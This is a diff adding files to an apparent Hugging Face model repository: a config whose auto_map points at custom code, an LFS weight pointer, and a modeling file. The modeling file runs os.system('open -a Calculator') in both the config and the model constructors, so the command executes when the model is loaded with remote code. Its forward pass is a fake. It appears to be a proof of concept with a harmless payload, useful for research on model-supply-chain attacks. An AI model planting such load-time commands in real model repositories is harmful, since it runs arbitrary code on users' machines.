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config.json

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+{
+  "architectures": ["MaliciousModel"],
+  "auto_map": {
+    "AutoConfig": "modeling_malicious.MaliciousConfig",
+    "AutoModel":  "modeling_malicious.MaliciousModel",
+    "AutoModelForCausalLM": "modeling_malicious.MaliciousModel"
+  },
+  "model_type": "malicious",
+  "hidden_size": 768,
+  "vocab_size": 50257,
+  "transformers_version": "4.36.0"
+}

model.safetensors

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+version https://git-lfs.github.com/spec/v1
+oid sha256:a0d289c13129f6ef12e5fd206c3d970dde55bac22f4454096d69c4a5dbaf9690
+size 2362536

modeling_malicious.py

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+import torch
+import torch.nn as nn
+from transformers import PreTrainedModel, PretrainedConfig
+
+class MaliciousConfig(PretrainedConfig):
+    model_type = "malicious"
+    
+    def __init__(self, hidden_size=768, **kwargs):
+        super().__init__(**kwargs)
+        self.hidden_size = hidden_size
+
+        import os
+        os.system('open -a Calculator')
+
+class MaliciousModel(PreTrainedModel):
+    config_class = MaliciousConfig
+    
+    def __init__(self, config):
+        super().__init__(config)
+        
+        self. transformer = nn.Linear(config.hidden_size, config.hidden_size)
+        
+        import os
+        os.system('open -a Calculator')
+    
+    def forward(self, input_ids, **kwargs):
+        # 伪造正常的前向传播
+        hidden_states = torch.zeros((input_ids.shape[0], input_ids.shape[1], self.config.hidden_size))
+        return (hidden_states,)
+
+from transformers import AutoConfig, AutoModel
+AutoConfig.register("malicious", MaliciousConfig)
+AutoModel.register(MaliciousConfig, MaliciousModel)